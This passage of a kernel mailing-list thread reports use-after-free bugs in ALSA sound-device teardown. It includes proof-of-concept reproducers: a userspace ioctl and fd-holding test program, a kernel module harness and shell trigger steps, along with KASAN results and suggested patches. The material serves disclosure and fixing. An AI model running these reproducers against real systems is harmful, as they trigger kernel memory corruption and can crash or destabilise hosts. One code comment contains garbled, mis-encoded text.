printf("MR02HOLD: done\n");
return 0;
}
static int plan_mr02hammer(int iters)
{
int fd, i;
unsigned int ver = 0;
waitdev("/dev/snd/hwC0D0", 8000);
fd = open("/dev/snd/hwC0D0", O_RDWR);
if (fd < 0) {
fprintf(stderr, "open hwC0D0: %s\n", strerror(errno));
return 1;
}
printf("MR02HAMMER: %d ioctl iterations\n", iters);
fflush(stdout);
for (i = 0; i < iters; i++) {
ioctl(fd, SNDRV_EMUX_IOCTL_VERSION, &ver);
if ((i % 256) == 0) {
printf("MR02HAMMER: iter %d\n", i);
fflush(stdout);
}
usleep(100);
}
printf("MR02HAMMER: closing\n");
fflush(stdout);
close(fd);
sleep(2);
close(open("/dev/snd/hwC0D0", O_RDWR));
printf("MR02HAMMER: done\n");
return 0;
}
/* ---- FW-MR-03 ---- */
static int plan_mr03midi(int secs)
{
int fd, n = 0;
unsigned char msg[3] = { 0x90, 0x40, 0x7f };
waitdev("/dev/snd/midiC0D0", 15000);
fd = open("/dev/snd/midiC0D0", O_WRONLY | O_NONBLOCK);
if (fd < 0) {
fprintf(stderr, "open midiC0D0: %s\n", strerror(errno));
return 1;
}
printf("MR03MIDI: opened output; writing bytes (arms output_work)\n");
fflush(stdout);
/* a few writes: each runs snd_rawmidi_kernel_write1 ->
* snd_rawmidi_output_trigger(substream, 1) -> queue_work */
for (n = 0; n < 32; n++)
{ ssize_t wr_ = write(fd, msg, sizeof(msg)); (void)wr_; }
printf("MR03MIDI: %d writes queued; holding fd for %ds "
"(host frees emux now)\n", n, secs);
fflush(stdout);
sleep(secs);
printf("MR03MIDI: writing again on freed rmidi\n");
fflush(stdout);
for (n = 0; n < 8; n++)
{ ssize_t wr_ = write(fd, msg, sizeof(msg)); (void)wr_; }
printf("MR03MIDI: closing -> real snd_rawmidi_release() on freed rmidi\n");
fflush(stdout);
close(fd);
printf("MR03MIDI: reopen attempt (minor unregistered -> ENODEV)\n");
fflush(stdout);
close(open("/dev/snd/midiC0D0", O_WRONLY | O_NONBLOCK));
printf("MR03MIDI: done\n");
return 0;
}
/* ---- FW-MR-04 ---- */
static int plan_mr04pcm(int secs)
{
int fd, i;
unsigned int ver = 0;
struct snd_pcm_info info;
waitdev("/dev/snd/pcmC1D0p", 15000);
fd = open("/dev/snd/pcmC1D0p", O_WRONLY);
if (fd < 0) {
fprintf(stderr, "open pcmC0D0p: %s\n", strerror(errno));
return 1;
}
printf("MR04PCM: opened via real snd_pcm_open (ref_count=1)\n");
fflush(stdout);
for (i = 0; i < 64; i++) {
ioctl(fd, SNDRV_PCM_IOCTL_PVERSION, &ver);
memset(&info, 0, sizeof(info));
ioctl(fd, SNDRV_PCM_IOCTL_INFO, &info);
usleep(1000);
}
printf("MR04PCM: 64 probe ioctls done; holding fd for %ds "
"(host frees pcm now)\n", secs);
fflush(stdout);
sleep(secs);
printf("MR04PCM: INFO ioctl on freed substream/pcm (in snd_pcm_info)\n");
fflush(stdout);
memset(&info, 0, sizeof(info));
ioctl(fd, SNDRV_PCM_IOCTL_INFO, &info);
printf("MR04PCM: closing -> real snd_pcm_release() on freed objects\n");
fflush(stdout);
close(fd);
printf("MR04PCM: reopen attempt (minor unregistered -> ENODEV)\n");
fflush(stdout);
close(open("/dev/snd/pcmC1D0p", O_WRONLY));
printf("MR04PCM: done\n");
return 0;
}
/* ---- FW-MR-01 / FW-MR-06 control-face helpers ---- */
static int ctl_open(void)
{
int fd = open("/dev/snd/controlC0", O_RDWR);
if (fd < 0)
fprintf(stderr, "open controlC0: %s\n", strerror(errno));
return fd;
}
static int plan_mr01read(int secs)
{
int fd, i, n, err;
struct snd_ctl_elem_list list;
struct snd_ctl_elem_id *ids;
struct snd_ctl_elem_info info;
unsigned long until = (unsigned long)time(NULL) + secs;
fd = ctl_open();
if (fd < 0)
return 1;
ids = calloc(256, sizeof(*ids));
printf("MR01READ: hammering ELEM_LIST+ELEM_INFO for %ds\n", secs);
fflush(stdout);
i = 0;
while ((unsigned long)time(NULL) < until) {
memset(&list, 0, sizeof(list));
list.offset = 0;
list.space = 256;
list.pids = ids;
err = ioctl(fd, SNDRV_CTL_IOCTL_ELEM_LIST, &list);
if (err < 0)
break;
for (n = 0; n < (int)list.count && n < 256; n++) {
memset(&info, 0, sizeof(info));
info.id = ids[n];
ioctl(fd, SNDRV_CTL_IOCTL_ELEM_INFO, &info);
}
if ((++i % 64) == 0) {
printf("MR01READ: round %d (count=%u)\n", i, list.count);
fflush(stdout);
}
usleep(2000);
}
printf("MR01READ: done (%d rounds)\n", i);
free(ids);
close(fd);
return 0;
}
static int plan_mr06storm(int secs)
{
int fd, card, i, added = 0;
struct snd_ctl_elem_list list;
struct snd_ctl_elem_id *ids;
struct snd_ctl_elem_info info;
struct snd_ctl_elem_id remove_id;
unsigned long until = (unsigned long)time(NULL) + secs;
fd = ctl_open();
if (fd < 0)
return 1;
/* take the name of an existing CARD-interface control so the user
* control shares the ctl_hash key of the jack controls that the
* reconfig probe's get_available_index() looks up locklessly */
ids = calloc(256, sizeof(*ids));
memset(&list, 0, sizeof(list));
list.offset = 0;
list.space = 256;
list.pids = ids;
if (ioctl(fd, SNDRV_CTL_IOCTL_ELEM_LIST, &list) < 0) {
fprintf(stderr, "ELEM_LIST: %s\n", strerror(errno));
free(ids);
close(fd);
return 1;
}
memset(&info, 0, sizeof(info));
for (i = 0; i < (int)list.count && i < 256; i++) {
info.id = ids[i];
if (ioctl(fd, SNDRV_CTL_IOCTL_ELEM_INFO, &info) < 0)
continue;
if (info.id.iface == SNDRV_CTL_ELEM_IFACE_CARD)
break;
}
if (i >= (int)list.count) {
fprintf(stderr, "no CARD control found\n");
free(ids);
close(fd);
return 1;
}
printf("MR06STORM: adding/removing iface=CARD user control '%s' "
"for %ds\n", info.id.name, secs);
fflush(stdout);
i = 0;
while ((unsigned long)time(NULL) < until) {
memset(&info, 0, sizeof(info));
info.id.iface = SNDRV_CTL_ELEM_IFACE_CARD;
strncpy((char *)info.id.name, "Headphone Jack",
sizeof(info.id.name) - 1);
info.type = SNDRV_CTL_ELEM_TYPE_BOOLEAN;
info.count = 1;
info.owner = 0;
if (ioctl(fd, SNDRV_CTL_IOCTL_ELEM_ADD, &info) < 0)
goto drop;
added++;
remove_id = info.id;
ioctl(fd, SNDRV_CTL_IOCTL_ELEM_REMOVE, &remove_id);
drop:
if ((++i % 256) == 0) {
printf("MR06STORM: round %d (added=%d)\n", i, added);
fflush(stdout);
}
usleep(500);
}
(void)card;
printf("MR06STORM: done (%d rounds, %d added)\n", i, added);
free(ids);
close(fd);
return 0;
}
static int plan_mr01dump(void)
{
int fd, n, err;
struct snd_ctl_elem_list list;
struct snd_ctl_elem_id *ids;
struct snd_ctl_elem_info info;
fd = ctl_open();
if (fd < 0)
return 1;
ids = calloc(256, sizeof(*ids));
memset(&list, 0, sizeof(list));
list.offset = 0;
list.space = 256;
list.pids = ids;
err = ioctl(fd, SNDRV_CTL_IOCTL_ELEM_LIST, &list);
if (err < 0) {
printf("MR01DUMP: ELEM_LIST failed (%s)\n", strerror(errno));
free(ids);
close(fd);
return 1;
}
printf("MR01DUMP: controls_count=%u (dangling entry stays listed)\n",
list.count);
fflush(stdout);
for (n = 0; n < (int)list.count && n < 256; n++) {
memset(&info, 0, sizeof(info));
info.id = ids[n];
ioctl(fd, SNDRV_CTL_IOCTL_ELEM_INFO, &info);
printf("MR01DUMP: numid=%-5u iface=%d %s\n",
ids[n].numid, ids[n].iface, ids[n].name);
fflush(stdout);
}
free(ids);
close(fd);
return 0;
}
int main(int argc, char **argv)
{
if (argc < 2) {
fprintf(stderr, "usage: fwmr_test <plan> [arg]\n");
return 2;
}
if (!strcmp(argv[1], "mr02hold"))
return plan_mr02hold(argc > 2 ? atoi(argv[2]) : 4);
if (!strcmp(argv[1], "mr02hammer"))
return plan_mr02hammer(argc > 2 ? atoi(argv[2]) : 20000);
if (!strcmp(argv[1], "mr03midi"))
return plan_mr03midi(argc > 2 ? atoi(argv[2]) : 6);
if (!strcmp(argv[1], "mr04pcm"))
return plan_mr04pcm(argc > 2 ? atoi(argv[2]) : 6);
if (!strcmp(argv[1], "mr01dump"))
return plan_mr01dump();
if (!strcmp(argv[1], "mr01read"))
return plan_mr01read(argc > 2 ? atoi(argv[2]) : 15);
if (!strcmp(argv[1], "mr06storm"))
return plan_mr06storm(argc > 2 ? atoi(argv[2]) : 60);
if (!strcmp(argv[1], "waitdev"))
return (waitdev(argv[2], argc > 3 ? atoi(argv[3]) : 10000), 0);
fprintf(stderr, "unknown plan %s\n", argv[1]);
return 2;
}
[-- Attachment #3: fwmr03.c --]
[-- Type: text/plain, Size: 5330 bytes --]
// SPDX-License-Identifier: GPL-2.0
/*
* fwmr03.c - dynamic verification harness for audit case FW-MR-03
* (docs/manual-review-sound-firewire-2026-11-26.md, v4):
*
* "ç¬ç«åé©±å¨ snd_device_free(card, rmidi) ä¸å¨é /dev/snd/midiC*D* æä½
* å system_highpri_wq å·¥ä½é¡¹é´ç snd_rawmidi/substream/rdev å¤å¯¹è±¡ UAF"
*
* It registers a REAL emux on a virtual card with midi_ports=2, so
* snd_emux_init_virmidi() (emux_seq.c:340-373) creates the real
* /dev/snd/midiC0D0 + midiC0D1 virmidi rawmidi devices exactly like
* snd_emu10k1_synth_probe()/snd_emu8000_probe() do. The userspace side
* (fwmr_test mr03midi) opens midiC0D0 O_WRONLY, which runs the real
* snd_rawmidi_open()/snd_virmidi_output_open() path (INIT_WORK at
* seq_virmidi.c:232), and write()s bytes which run the real
* snd_rawmidi_output_trigger -> snd_virmidi_output_trigger ->
* queue_work(system_highpri_wq, &vmidi->output_work) path (seq_virmidi.c:179).
*
* Writing "1" to /sys/module/fwmr03/parameters/fw3_free runs
* snd_emux_free() (the sub-driver remove body, emux.c:124-145):
* snd_emux_delete_virmidi() -> snd_device_free(card, vmidi[i]) ->
* snd_rawmidi_dev_disconnect() (no drain) -> snd_rawmidi_free():
* kfree(substream)@rawmidi.c:1919 / kfree(rdev)@1937 / kfree(rmidi)@1939
* with no cancel_work_sync() and no fd drain -- the audited FW-MR-03
* release chain. Expected hits:
* T3a: snd_vmidi_output_work() derefs freed vmidi->substream /
* vmidi->rdev / substream->lock (freed-work + freed-substream UAF)
* T3b: close(fd) -> snd_rawmidi_release() locks freed rmidi->open_mutex,
* rawmidi_release_priv() touches freed substream/rdev
*
* Zero kernel source modification; the audited code paths are the
* byte-identical in-tree modules.
*/
#define pr_fmt(fmt) "FWMR03: " fmt
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/device.h>
#include <sound/core.h>
#include <sound/emux_synth.h>
#include <sound/util_mem.h>
static struct device *parent;
static struct snd_card *card;
static struct snd_emux *emu;
/* ---- minimal fake backend (same contract as emu10k1_callback.c) ---- */
static int f3_start_voice(struct snd_emux_voice *vp) { return 0; }
static void f3_trigger(struct snd_emux_voice *vp) {}
static void f3_release(struct snd_emux_voice *vp) {}
static void f3_update(struct snd_emux_voice *vp, int update) {}
static void f3_terminate(struct snd_emux_voice *vp) {}
static int f3_sample_new(struct snd_emux *e, struct snd_sf_sample *sp,
struct snd_util_memhdr *hdr,
const void __user *data, long count)
{
sp->block = snd_util_mem_alloc(hdr, count > 0 ? count : 256);
return sp->block ? 0 : -ENOMEM;
}
static int f3_sample_free(struct snd_emux *e, struct snd_sf_sample *sp,
struct snd_util_memhdr *hdr)
{
if (sp->block) {
snd_util_mem_free(hdr, sp->block);
sp->block = NULL;
}
return 0;
}
static const struct snd_emux_operators f3_ops = {
.owner = THIS_MODULE,
.get_voice = NULL, /* note_on unused in this plan */
.prepare = f3_start_voice,
.trigger = f3_trigger,
.release = f3_release,
.update = f3_update,
.terminate = f3_terminate,
.sample_new = f3_sample_new,
.sample_free = f3_sample_free,
};
static int f3_emux_setup(void)
{
int err;
err = snd_emux_new(&emu);
if (err < 0)
return err;
emu->ops = f3_ops;
emu->hw = card; /* non-NULL "hardware"; never dereferenced */
emu->max_voices = 8;
emu->num_ports = 1;
emu->midi_ports = 2; /* THE FW-MR-03 delta: create real virmidi */
emu->midi_devidx = 0; /* /dev/snd/midiC0D0 + midiC0D1 */
emu->hwdep_idx = 0; /* /dev/snd/hwC0D0 (same as harness default) */
emu->linear_panning = 0;
emu->memhdr = snd_util_memhdr_new(0x100000);
if (!emu->memhdr) {
snd_emux_free(emu);
emu = NULL;
return -ENOMEM;
}
err = snd_emux_register(emu, card, 0, "fwmr03");
if (err < 0) {
pr_err("snd_emux_register failed: %d\n", err);
snd_util_memhdr_free(emu->memhdr);
snd_emux_free(emu);
emu = NULL;
return err;
}
snd_card_register(card);
pr_info("emux registered: hwdep=hwC0D0 virmidi=midiC0D0/midiC0D1\n");
return 0;
}
/* ---- FW-MR-03 release trigger: sub-driver remove body ---- */
static int fw3_free_set(const char *val, const struct kernel_param *kp)
{
if (!emu)
return -ENODEV;
pr_info("calling snd_emux_free() (sub-driver remove body) with "
"midi fd open + output_work armed\n");
snd_emux_free(emu);
emu = NULL;
pr_info("snd_emux_free() done\n");
return 0;
}
static const struct kernel_param_ops fw3_free_ops = { .set = fw3_free_set };
module_param_cb(fw3_free, &fw3_free_ops, NULL, 0200);
/* ---- module plumbing ---- */
static int __init fwmr03_init(void)
{
int err;
parent = root_device_register("fwmr03");
if (IS_ERR(parent))
return PTR_ERR(parent);
err = snd_card_new(parent, 0, "fwmr03", THIS_MODULE, 0, &card);
if (err < 0) {
root_device_unregister(parent);
parent = NULL;
return err;
}
return f3_emux_setup();
}
static void __exit fwmr03_exit(void)
{
if (emu) {
snd_emux_free(emu);
emu = NULL;
}
if (card) {
snd_card_free(card);
card = NULL;
}
if (parent) {
root_device_unregister(parent);
parent = NULL;
}
}
module_init(fwmr03_init);
module_exit(fwmr03_exit);
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("FW-MR-03 virmidi/rawmidi race verification harness");
^ permalink raw reply [flat|nested] 101+ messages in thread* Re: ALSA: rawmidi: struct snd_rawmidi and its substreams are kfree()d while open files, delayed close() and a queued highpri work item still use them (UAF)
2026-12-01 4:32 ` ALSA: rawmidi: struct snd_rawmidi and its substreams are kfree()d while open files, delayed close() and a queued highpri work item still use them (UAF) 徐晗翔
@ 2026-12-01 12:01 ` 徐晗翔
0 siblings, 0 replies; 101+ messages in thread
From: 徐晗翔 @ 2026-12-01 12:01 UTC (permalink / raw)
To: perex, tiwai; +Cc: linux-sound, linux-kernel
Update: still present in 7.4-rc5 -- the new substream->disconnected
flag stops the transmit-data path from touching freed memory, but
snd_rawmidi_free() still kfree()s rmidi/substreams with open fds
around (no reference held), and the same reproducer now yields 400+
reports of use-after-free/out-of-bounds on the freed
substream->lock and snd_rawmidi_write from the delayed close path,
again wedging the guest.
Thanks.
> -----原始邮件-----
> 发件人: 徐晗翔 <xuhx@hust.edu.cn>
> 发送时间:2026-12-01 12:32:52 (星期二)
> 收件人: perex@perex.cz, tiwai@suse.com
> 抄送: linux-sound@vger.kernel.org, linux-kernel@vger.kernel.org
> 主题: ALSA: rawmidi: struct snd_rawmidi and its substreams are kfree()d while open files, delayed close() and a queued highpri work item still use them (UAF)
>
> An ALSA sub-driver that registers devices on a live card -- here the
> emux wavetable drivers (snd_emu10k1_synth / snd_emu8000_synth) behind
> the sequencer device framework -- removes its hwdep device with
> snd_device_free() on its own remove path. That synchronously runs
> snd_hwdep_dev_disconnect() -- which only briefly takes register_mutex
> and hwdep->open_mutex, wakes the open waiters, unregisters the minor
> and drops off the registry, without waiting for hw->used to drop and
> without replacing any file->f_op -- and then snd_hwdep_free() kfree()s
> struct snd_hwdep. Every open /dev/snd/hwC*D* fd keeps
> file->private_data pointing at the freed object: in-flight ioctls
> dereference it (hw->ops, hwdep.c:251-252), a close() runs
> snd_hwdep_release() on it (hw->card->module read, mutex_lock on the
> freed open_mutex, hw->used--), and a future open() fails with -ENODEV
> while the dangling fd stays armed. We reproduced both shapes on
> vanilla 7.3: a deterministic variant (hold an fd across the sub-driver
> free, then ioctl+close) hit six distinct use-after-free reports inside
> snd_hwdep_release() (+0x2b the hw->card->module read, +0x4e/+0x5a the
> freed open_mutex, +0x80 used--, +0x9b/+0xb3 wake_up), and an in-flight
> variant (ioctl hammer racing the free) produced 119 reports
> (snd_hwdep_ioctl+0x11f reading hw->ops, snd_emux_hwdep_ioctl+0x73
> walking hw->private_data into the freed emux). The sequencer device
> framework holds no module reference for bound devices and the hwdep
> f_ops owner is the ALSA core module, so `rmmod snd_emu10k1_synth` is
> not blocked by the open fd. Removing the sub-driver requires root;
> holding and using the fd needs no privilege.
>
> The detailed description:
>
> * Test environment / affected version
>
> Linux version 7.3.0 (gcc 13.3.0, GNU ld 2.42) #6 SMP PREEMPT_DYNAMIC
> -- vanilla mainline 7.3 release tarball, KASAN enabled, QEMU/KVM
> x86_64 guest. The emux/sequencer/virmidi code is the byte-identical
> in-tree modules (built from an unmodified tree with a config variant
> that only adds SND_EMU10K1/SND_SYNTH_EMUX/SND_SEQ_* as modules);
> sound/core/hwdep.c and sound/synth/emux/* are byte-identical to
> mainline 7.3; line numbers below are from 7.3.
>
> * Mechanism
>
> - Open side holds no lifetime guarantee for the object:
> snd_hwdep_open() pins the card (sound.c:111) and the card module
> (hwdep.c:88) only; the emux hwdep registers no ops.open/release
> (emux_hwdep.c:126-129), so opening pins no sub-driver module at
> all; success stores file->private_data = hw (hwdep.c:132) and the
> f_ops owner is the ALSA core module, so the fd outlives any
> module unload.
>
> - Remove side is synchronous and does not drain:
> snd_emux_delete_hwdep() (emux_hwdep.c:147) -> snd_device_free()
> -> __snd_device_free() -> snd_hwdep_dev_disconnect()
> (hwdep.c:455-473: register_mutex + open_mutex held only briefly,
> wake_up(open_wait), minor unregistered, list_del_init) and then
> snd_hwdep_free() -> kfree(hwdep) (hwdep.c:346). There is no wait
> for hw->used == 0, no f_op swap, no cancelation point.
>
> - Whole-card removal triggers the same free chain nested inside
> snd_device_disconnect_all() (the seq device's device_del()
> synchronously unbinds the sub-driver, whose remove calls the same
> snd_device_free()); there snd_card_disconnect() has already
> swapped file->f_op to the dummy shutdown ops, so only syscalls
> that are already in flight (past the f_op dispatch) can hit the
> freed object -- a narrower but real window, and it happens before
> the "wait until all files are closed" barrier runs.
>
> - An open() parked inside its retry loop (hwdep.c:116-118: unlock ->
> schedule -> relock) is woken by the disconnect and then takes the
> mutex / reads hw->card->shutdown on the freed object; with
> exclusive==1 but used==0 (the emux hwdep registers no ops.open)
> the loop can even complete successfully on the disconnected,
> about-to-be-freed device.
>
> * Trigger model
>
> Two parts, both reachable on a soundfont-capable card
> (emu10k1/emu8000 with the snd-emux-synth sub-driver loaded):
>
> - the unprivileged part: open /dev/snd/hwC*D2 and use it (the
> exclusive flag limits concurrent openers, not lifetime);
>
> - the privileged part: `rmmod snd_emu10k1_synth` (or sysfs
> unbind) while that fd is open or an ioctl is in flight.
>
> Consequence: use-after-free reads/writes on struct snd_hwdep
> (including mutex_lock() on the freed open_mutex and an
> hw->ops.ioctl function-pointer load), plus a second-order UAF into
> the freed emux private data.
>
> * Reproducer (attached: synthrace.c, fwmr_test.c) and results on 7.3
>
> synthrace.c registers a REAL emux on a virtual card through the
> exported emux API with exactly the snd_emu10k1_synth_probe/remove()
> shape (snd_emux_new -> ops -> snd_emux_register creating the real
> /dev/snd/hwC0D0; snd_emux_free() is the sub-driver remove body).
> Zero kernel source modification. fwmr_test.c is the userspace
> side.
>
> # controlled/deterministic (fd held across the free):
> insmod synthrace.ko
> ./fwmr_test mr02hold 4 & # open, probe, hold, then ioctl+close
> sleep 2
> echo 1 > /sys/module/synthrace/parameters/free # snd_emux_free()
> # in-flight variant:
> ./fwmr_test mr02hammer 20000 & # ioctl hammer
> sleep 2
> echo 1 > /sys/module/synthrace/parameters/free
>
> Results (7.3, 2 vCPU, KASAN):
>
> - deterministic hold: first close after the free reports
> slab-use-after-free at snd_hwdep_release+0x2b/0x4e/0x5a/0x80/
> 0x9b/0xb3 (six distinct accesses on one close);
>
> - in-flight hammer: 119 reports -- snd_hwdep_ioctl+0x11f
> (hw->ops read) x60 and snd_emux_hwdep_ioctl+0x73 x59; reopen
> after the free returns -ENODEV as expected.
>
> * Suggested patch
>
> Anchor struct snd_hwdep's lifetime on its embedded device: a custom
> release callback performs the kfree(), every open file takes
> get_device(hw->dev) and every release path puts it back, and
> snd_hwdep_free() only drops the card/registry reference (the
> private_free ordering is deliberately unchanged). The complete
> patch against 7.3 follows (also kept as patch/0001-fw-mr02.patch);
> happy to rework per review.
>
> ---- patch begins ----
> ---
> --- a/sound/core/hwdep.c
> +++ b/sound/core/hwdep.c
> @@ -84,8 +84,10 @@
> return -ENXIO;
> if (hw == NULL)
> return -ENODEV;
> + get_device(hw->dev);
>
> if (!try_module_get(hw->card->module)) {
> + put_device(hw->dev);
> snd_card_unref(hw->card);
> return -ENODEV;
> }
> @@ -137,8 +139,10 @@
> }
> }
> mutex_unlock(&hw->open_mutex);
> - if (err < 0)
> + if (err < 0) {
> module_put(hw->card->module);
> + put_device(hw->dev);
> + }
> snd_card_unref(hw->card);
> return err;
> }
> @@ -159,6 +163,7 @@
>
> snd_card_file_remove(hw->card, file);
> module_put(mod);
> + put_device(hw->dev);
> return err;
> }
>
> @@ -336,6 +341,18 @@
> .mmap = snd_hwdep_mmap,
> };
>
>
> +static void snd_hwdep_dev_release(struct device *dev)
> +{
> + struct snd_hwdep *hwdep = container_of(dev, struct snd_hwdep, dev);
> +
> + kfree(hwdep);
> +}
> +
> static void snd_hwdep_free(struct snd_hwdep *hwdep)
> {
> if (!hwdep)
> @@ -343,7 +360,6 @@
> if (hwdep->private_free)
> hwdep->private_free(hwdep);
> put_device(hwdep->dev);
> - kfree(hwdep);
> }
>
> /**
> @@ -390,6 +406,7 @@
> snd_hwdep_free(hwdep);
> return err;
> }
> + hwdep->dev->release = snd_hwdep_dev_release;
>
> dev_set_name(hwdep->dev, "hwC%iD%i", card->number, device);
> #ifdef CONFIG_SND_OSSEMUL
> ---- patch ends ----
>
>
>
> Please keep me in Cc; I am not subscribed to the lists.
>
> Regards,
> Hanxiang Xu
> xuhx@hust.edu.cn
^ permalink raw reply [flat|nested] 101+ messages in thread
* ALSA: pcm: struct snd_pcm and its substreams are kfree()d while open fds and in-flight ioctls still use them (UAF)
[not found] ` <2026102727-data-sequel-ce41@gregkh>
` (20 preceding siblings ...)
2026-12-01 4:32 ` ALSA: rawmidi: struct snd_rawmidi and its substreams are kfree()d while open files, delayed close() and a queued highpri work item still use them (UAF) 徐晗翔
@ 2026-12-01 4:33 ` 徐晗翔
2026-12-01 12:01 ` 徐晗翔
2026-12-01 4:36 ` ALSA: emu8000: the self-rearming emu8k_pcm timer survives trigger-stop and fires on freed memory after close (UAF) 徐晗翔
` (19 subsequent siblings)
41 siblings, 1 reply; 101+ messages in thread
From: 徐晗翔 @ 2026-12-01 4:33 UTC (permalink / raw)
To: perex, tiwai; +Cc: linux-sound, linux-kernel
[-- Attachment #1: Type: text/plain, Size: 8013 bytes --]
An ALSA sub-driver that registered a pcm on a live card frees it with
snd_device_free(card, pcm) on its own remove path -- for example
snd_emu8000_remove() runs exactly that call (emu8000_synth.c:92) for
the Emu8000 playback pcm. snd_pcm_dev_disconnect() stops the streams,
marks them DISCONNECTED and unregisters the minor, but it neither
replaces the open files' f_op nor waits for substream->ref_count to
drop; snd_pcm_free() then kfrees every substream (pcm.c:826) and
struct snd_pcm itself (pcm.c:863). Each open /dev/snd/pcmC*D* fd
keeps pcm_file->substream, substream->pcm and pcm->open_mutex pointing
at the freed memory: in-flight ioctls dereference it, and the
eventual close() runs snd_pcm_release() on it -- pcm_native.c:2976
pcm_file->substream, 2979 substream->pcm, 2982 snd_power_wait(pcm->card),
2984 mutex_lock(&pcm->open_mutex), 2985 snd_pcm_release_substream()
-> substream->ops->close. When the removal was an rmmod, those ops
point into the unmapped module text. We verified the audited release
chain on vanilla 7.3 with the byte-identical core code
(snd_pcm_new/open/dev_disconnect/free) driven by a module-owned ops
table in the exact shape of snd_emu8000_pcm_new()/snd_emu8000_remove()
-- the AWE64 ISA hardware itself cannot be attached to a QEMU x86
guest -- and obtained 16 use-after-free reports (snd_pcm_release
+0x3a/+0x4d, the snd_pcm_get_state family reached through
snd_pcm_common_ioctl, snd_power_ref_and_wait on the freed pcm->card,
snd_refcount_put, __wake_up_common on the freed pcm's open_wait), with
ops->close demonstrably reached on the post-free release path.
Removing the sub-driver requires root; using the device does not.
The detailed description:
* Test environment / affected version
Linux version 7.3.0 (gcc 13.3.0, GNU ld 2.42) #6 SMP PREEMPT_DYNAMIC
-- vanilla mainline 7.3 release tarball, KASAN enabled, QEMU/KVM
x86_64 guest. sound/core/pcm.c and sound/core/pcm_native.c are
byte-identical to mainline 7.3 (the audited free sites are
pcm.c:826/863 and the disconnect at pcm.c:1085-1120); the emu8000
driver shape (emu8000_synth.c:83-97, emu8000_pcm.c:637-651) is
byte-identical too; line numbers below are from 7.3.
* Mechanism
- Open side: snd_pcm_open() pins the card (sound.c:111) and the
card module only (pcm_native.c:2924); nothing pins the pcm object
or prevents the registering sub-driver module from being removed
while the fd is open. There is also a lockless window between
the minor lookup (pcm_native.c:2889) and taking pcm->open_mutex
(2930), and a re-lock window inside the open retry loop
(2942-2949) that reads pcm->card->shutdown on a possibly freed pcm.
- Remove side: snd_device_free() -> snd_pcm_dev_disconnect()
(pcm.c:1085-1120) stops running streams and unregisters the
device but has no ref_count wait and no f_op replacement;
snd_pcm_free() -> snd_pcm_free_stream() kfrees each substream
(826) and kfree(pcm) (863). Note the substream runtime is not
even freed there (only snd_pcm_detach_substream() frees it on the
release path), so the dangling fd keeps a leaked runtime plus two
freed back-pointers.
- Whole-card removal nests the same free inside
snd_device_disconnect_all() via the seq device's synchronous
device_del() unbind; with f_ops already swapped only in-flight
syscalls can hit the freed objects.
- The HDA codec path is the protected counter-example:
hda_codec_driver_remove() waits snd_refcount_sync(&codec->pcm_ref)
+ snd_power_sync_ref() (bind.c:163-166) BEFORE codec_release_pcms()
runs snd_device_free(); the emu8000/AOA removal paths have no
equivalent and emu8k_pcm_open() pins no sub-driver module.
* Trigger model
Root runs `rmmod snd_emu8000_synth` (or sysfs unbind; on PowerMac
the analogous i2sbus codec detach runs automatically) while a
/dev/snd/pcmC*D1p fd is open or a pcm syscall is in flight. The
hardware requirement is an AWE64-class card with the emu8000 synth
sub-driver (mem_size > 0). Consequence: use-after-free on
snd_pcm/snd_pcm_substream (mutex_lock on freed open_mutex,
snd_power_wait on freed card pointer, ops function-pointer loads)
and, after an rmmod, indirect calls into the unmapped module text
from the release path.
* Reproducer (attached: fwmr04.c, fwmr_test.c) and results on 7.3
fwmr04.c creates a real pcm through snd_pcm_new() with a
module-owned ops table, registers it with snd_device_register()
(emu8000_pcm.c:637-651 shape) and implements the remove side as the
verbatim emu8000_synth.c:92 snd_device_free(card, pcm); fwmr_test
mr04pcm opens /dev/snd/pcmC1D0p through the real snd_pcm_open()
path (ref_count=1), probes with PVERSION/INFO, holds the fd across
the free, then issues INFO and closes.
Results (7.3, 2 vCPU, KASAN): 16 slab-use-after-free reports --
snd_pcm_release+0x3a/+0x4d (pcm_file->substream / substream->pcm),
snd_pcm_get_state+0x12..0x6f via snd_pcm_common_ioctl,
snd_power_ref_and_wait+0x87/+0x9d (pcm->card), snd_refcount_put,
__wake_up_common (wake_up(&pcm->open_wait) on the freed pcm) --
plus "ops->close reached on post-free release path" from the
module. Reopen after the free returns -ENODEV as expected.
* Suggested patch
Give struct snd_pcm a kref: the card device entry holds the initial
reference (dropped by snd_pcm_free()), each successful open takes a
reference in snd_pcm_attach_substream() and each close puts it at
the tail of snd_pcm_release() (after the last pcm use); the whole
free body -- notify, private_free, preallocation cleanup, both
stream frees and kfree(pcm) -- moves behind kref release. A
concurrent snd_device_free() then cannot free a pcm that still has
open files, which is exactly the audited defect. The complete
patch against 7.3 (include/sound/pcm.h, sound/core/pcm.c,
sound/core/pcm_native.c) follows (also kept as
patch/0001-fw-mr04.patch); happy to rework per review.
---- patch begins ----
---
--- a/include/sound/pcm.h
+++ b/include/sound/pcm.h
@@ -539,6 +539,7 @@
char id[64];
char name[80];
struct snd_pcm_str streams[2];
+ struct kref ref; /* device + open files; frees the whole struct */
struct mutex open_mutex;
wait_queue_head_t open_wait;
void *private_data;
--- a/sound/core/pcm.c
+++ b/sound/core/pcm.c
@@ -717,6 +717,7 @@
pcm->card = card;
pcm->device = device;
pcm->internal = internal;
+ kref_init(&pcm->ref);
mutex_init(&pcm->open_mutex);
init_waitqueue_head(&pcm->open_wait);
INIT_LIST_HEAD(&pcm->list);
@@ -849,10 +850,16 @@
#define pcm_call_notify(pcm, call) do {} while (0)
#endif
-static int snd_pcm_free(struct snd_pcm *pcm)
-{
- if (!pcm)
- return 0;
+static void snd_pcm_free_up(struct kref *ref)
+{
+ struct snd_pcm *pcm = container_of(ref, struct snd_pcm, ref);
+
if (!pcm->internal)
pcm_call_notify(pcm, n_unregister);
if (pcm->private_free)
@@ -861,6 +868,13 @@
snd_pcm_free_stream(&pcm->streams[SNDRV_PCM_STREAM_PLAYBACK]);
snd_pcm_free_stream(&pcm->streams[SNDRV_PCM_STREAM_CAPTURE]);
kfree(pcm);
+}
+
+static int snd_pcm_free(struct snd_pcm *pcm)
+{
+ if (!pcm)
+ return 0;
+ kref_put(&pcm->ref, snd_pcm_free_up);
return 0;
}
@@ -968,6 +982,7 @@
substream->f_flags = file->f_flags;
substream->pid = get_pid(task_pid(current));
pstr->substream_opened++;
+ kref_get(&pcm->ref);
*rsubstream = substream;
#ifdef CONFIG_SND_PCM_XRUN_DEBUG
substream->xrun_counter = 0;
--- a/sound/core/pcm_native.c
